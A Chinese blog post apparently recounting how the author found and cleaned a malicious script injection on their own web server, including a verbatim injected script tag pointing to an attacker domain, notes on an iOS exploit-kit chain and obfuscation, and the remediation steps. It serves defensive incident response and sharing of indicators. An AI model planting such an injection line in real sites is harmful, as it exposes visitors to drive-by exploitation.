先给结论:我为了给一个新装的逆向分析工具做测试,抓了一份自己站点的 HAR。抓包很成功,但真正被揪出来的不是测试结果,而是——服务器上 26 个站点里,有 7 个被人挂了马。
这不是「听说某某有风险」的经验帖。下面所有的时间、文件名、字节数、md5 前缀、命令输出,都是当天照着终端记录抄下来的。恶意域名也照实写出来,需要的人可以拿去当 IOC 用。
如果你也自己维护服务器,建议慢慢看——尤其是第五节之后,那几个「看起来一切正常」的地方。
目录
一、先说结论
⚠️ 全场最值得警醒的一点:这 7 个被改动的文件,权限全是 777,属主全是同一个用户。 而没中招的站点,权限是 644 / 755。入侵者能改什么,是被权限决定的。
二、起因:我只是想抓个包试试新工具
事情的起点特别普通。我最近给自己的 AI 助手装了一个逆向分析工具(REA,npm 包名 rea-agents,MCP 服务端),想找个真实目标验证一下它的网络分析能力——官方 demo 跑通了不算数,得看它在我自己的东西上表现如何。
最顺手的目标就是自己每天在用的运营系统,一个前后端分离的站点。于是我决定:抓一份它的 HAR,喂给工具分析。
当时的预期很简单——「看看它请求了哪些接口、有没有硬编码的密钥」。结果它确实把接口都列出来了,还顺手列了一些我从来没让它请求过的域名。
三、抓包:工具还没用上,先栽在数据格式上
3.1 抓包本身很顺利
本机本来就装了 Chrome,也已经有 playwright-core,所以不用下载任何浏览器,直接复用系统 Chrome 录制,几十秒就拿到了 HAR:
3.2 第一次被工具拒绝:格式不合规
把 HAR 交给工具做证据级分析,直接被拒了。原因有点出人意料——
Playwright 写出来的 HAR 里,serverIPAddress 字段填的是 IPv6 格式([2606:...]),不符合 HAR 规范里「该字段应为 IPv4」的约定,严格的 schema 校验直接判失败。
解决办法是写了个小脚本清洗:去掉 Playwright 加的所有私有字段(_resourceType、_securityDetails、_monotonicTime 等),删掉非 IPv4 的 serverIPAddress,重新输出一份严格符合 HAR 1.2 的文件。再喂进去,顺利通过。
💡 一条能省你半小时的小经验:Playwright / Puppeteer 抓的 HAR 不能直接喂给严格的 HAR 解析器,中间要先做一次标准化,把
_开头的私有字段和非法serverIPAddress清掉。
清洗的时候我还顺手看了一眼服务器 IP——解析到的是我自己那台服务器。当时只当是「哦,对上了」,没意识到这句话后面还有下文。
四、发现:一行不在任何源码里的 script
工具接受 HAR 之后,逐条分析请求记录。其中有一条请求是页面上根本没有的第三方脚本,我去把首屏 HTML 原文翻了出来,看到了这么一行:
<script src="https://ribi123.com/dom.js"></script>这行代码,我在自己的项目里从没见过。
于是开始逐个比对,这一步是整个事件的转折点:
结论很清楚:这不是代理层改写,也不是本地代码被投毒,而是文件上传到服务器之后,磁盘上的文件被人改过。
这里还有一个细节值得单独说:线上和本地构建产物引用的是同一个 JS 资源文件名。这一点非常关键——它证明两边的版本是一致的,那么差异就只可能出现在「上传之后」这一段。
五、剥洋葱:这段脚本到底干了什么
知道有注入只是开始,接下来要搞清楚它到底想干什么。那段 dom.js 只有 4 KB 左右,但层层往下挖,是一整条攻击链。
5.1 第一层:注入加载器(4 KB)
它的逻辑只有四步,全都挂在 window.onload 里:
它的判定条件写得很克制:用 localStorage 记录「当天是否已访问过」,一天只劫持一次,尽量不引起访客察觉。这种做法比无脑跳转隐蔽得多。
代码里还留着攻击者更早用过的基础设施(已被注释掉),一并抄下来当线索:一个 get.php 入口,以及一个 Cloudflare Workers 域名。
5.2 第二层:漏洞投放页
那个隐形 iframe 加载的页面,源码里居然留着中文注释,直接把链路写清楚了。大意是:
≤17.2.1 (meizi):qqtime.html → 34ef644f....js → hash packs
iOS 18.4 – 18.7:同一入口 qqtime.html → boot.js → rce_loader (ios18_flat)rce_loader、ios18_flat——到这一步,性质已经变了。这不是普通的广告脚本,是针对 iOS 设备的漏洞利用工具包。
5.3 第三层:混淆载荷(47 KB)
页面按 UA 分流,加载一个 47 KB 的文件,全篇混淆,靠 new Function(atob(...)) 自解密。
到这一层我没有再往下执行分析。静态看可以,但不能在任何真实设备上跑。把这几个文件原样留存取证,就够了。
5.4 可以拿去用的 IOC
🔒 如果你在自己的站点或日志里看到上面任何一个域名,直接当成已被入侵处理,不要先怀疑是误报。
六、范围:26 个站点,一小半的2 网站中招
一个站被挂,通常意味着还有别的。我按同样的特征在整台服务器上扫了一遍,结果比预想的大:
服务器上一共 26 个站点,中招 7 个,接近三成。
然后是最关键的一条线索:这 7 个文件全部是 777 权限、属主全都是同一个用户。 而没中招的站点文件权限是 644 / 755,属主是别的人。
这条线索几乎把答案写在脸上了:注入者是以那个属主的身份在运行,因此只能改写「它自己拥有的」或「全局可写的」文件。 权限正常的站点,它碰不到——这也解释了为什么受影响的恰好是这 7 个。
⏳ 再看时间列:最早 2025-08-19,最晚 2026-09-24,跨度超过一年。这不是今天才发生的事,而是长期存在、或者被反复注入。 而我在这之前毫无察觉——因为页面「看起来完全正常」。
七、排除与未解:排掉了什么,还差什么
7.1 已经排除的
7.2 还没找到的
必须诚实地说:持久化机制和初始入口,我没有定位到。
什么意思?就是我知道「文件被改了」,也知道「是被谁的身份改的」,但还不知道它是从哪个口子进来的、以及靠什么活到现在。这就意味着——只清理文件,攻击者可能还能再改回来。
这一点直接决定了后面的处置策略。
八、处置:备份 + 精准移除,以及两个差点踩的坑
8.1 只做两件事
我把清理拆成最小步骤:先备份,再移除注入。其他任何改动(比如顺手改权限)都不做——因为一旦出了问题,「到底哪一步改坏的」就说不清了。
备份用的是保留属性的复制方式,7 个文件全部逐一做 md5 比对,7/7 全部一致,确认备份可用、可回滚。
8.2 注入其实有两种形态
这是我在动手前逐文件核对时才发现的问题——不能一把梭全删:
8.3 坑一:有一个文件用的不是同一个恶意脚本名
4 个 HTML 里注入的都是 dom.js,但那个 PHP 文件注入的是另一个文件名(scriptm.js),而且 </script> 和 <?php 之间还多了一个空格。
如果我图省事,只按 dom.js 去匹配替换,这个文件会被完整地漏掉——表面上清理完了,实际上还挂着一个。
8.4 坑二:WordPress 核心文件的 <?php 差点被删掉
这个更危险。两个 WordPress 的核心文件 wp-blog-header.php,注入是和 <?php 挤在同一行的:
<script src="https://ribi123.com/dom.js"></script><?php如果按照「删除整行」的思路处理,<?php 会被连带删掉——整个 WordPress 直接解析失败,站点瞬间白屏。 所以我改成「只替换首行前缀」,把前面那段 script 标签剥掉,<?php 原地留下。
⚠️ 教训:处理被篡改的文件,不能只看「恶意内容长什么样」,还要看「它和正常内容是怎么长在一起的」。 同一个恶意串,出现在独立行和出现在代码前缀里,处理方式完全不同。
8.5 动手前先预演一遍
正式写入之前,我把所有替换先在临时文件上跑了一遍,再用 diff 逐文件对比——确认每个文件都只有 1 行发生变化,其余内容一个字节都没动。
事后有个很硬的旁证:处置完之后,7 个文件的大小分别是 525 / 486 / 15293 / 1029 / 351 / 351 / 320 字节——和预演时预测的数值一字不差。这说明预演是可信的,也说明没有误删。
九、验证:文件层 + 线上层双重确认
改完不等于修好,还得验。我分了两层:
文件层:7 个文件的恶意特征字符串命中数全部为 0;3 个 PHP 文件的首行确认仍是 <?php;再对整个网站根目录做了一次全量扫描,零残留。
线上层:带着绕过缓存的请求头,把 7 个站点逐个访问了一遍:
两个 WordPress 站点都能完整返回页面,这一点最能证明「核心文件的 <?php 没被改坏」。
十、六条经验
权限就是攻击面。 777 + 同一个属主,等于把门敞开。这次 7 个文件被改、其他站安然无恙,差别就在权限上。
线上和本地不一致时,先怀疑「上传之后」。 更省事的判断方法:看线上和本地引用的是不是同一个构建产物名。同名却内容不同,问题就出在上传链路或服务器侧。
逆向分析工具的价值是「看得见」,不是「给结论」。 它输出的是一条条可追溯的证据(哪一行、什么置信度),而不是一句「你被黑了」。看得见,才修得动。
清理被篡改的文件,要分形态处理。 一律「删整行」会连带删掉
<?php,把站点改崩;只按一个恶意文件名匹配,会漏掉用别的文件名的那个。动手前一定先做只读预演。 先跑一遍 diff,确认「只改该改的那一行」,再真正写入。这次预演预测的字节数和最终结果一字不差,是最大的信心来源。
止血 ≠ 根除。 文件清干净了,只要入口还在、权限还开着,就可能被重新写回来。所以清理完不是终点。
十一、小结
回头复盘,这件事最值得记下的不是「攻击手法有多高级」。恰恰相反——那 4 KB 的加载器写得很朴实,逻辑清楚,一点也不花哨。
真正让我后怕的是它已经在那儿待了一年多,而我毫不知情。页面能打开、功能都正常、也没有访客来投诉。因为它的触发条件是精心挑过的:中国 IP、移动端、当天首次访问——一天只劫持一次,尽量不留下痕迹。
而它被发现,纯粹是因为一个完全不相干的理由:我想试试一个新工具,随手抓了个包。
所以我现在会定期做一件事:抓一份自己站点的 HAR,逐条看它到底请求了什么。 因为浏览器看到的世界,和你在服务器上看文件列表看到的世界,完全是两回事——这次就是这两者之间的落差,把问题暴露出来的。
💬 最后留个问题:你会定期检查自己站点的首屏 HTML 里有哪些外部脚本吗? 或者,你有没有过「本来在做别的事,意外发现一个大问题」的经历?评论区聊聊。
抓个包而已,结果发现我的站点被挂了马|一次真实的网页挂马溯源记录
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法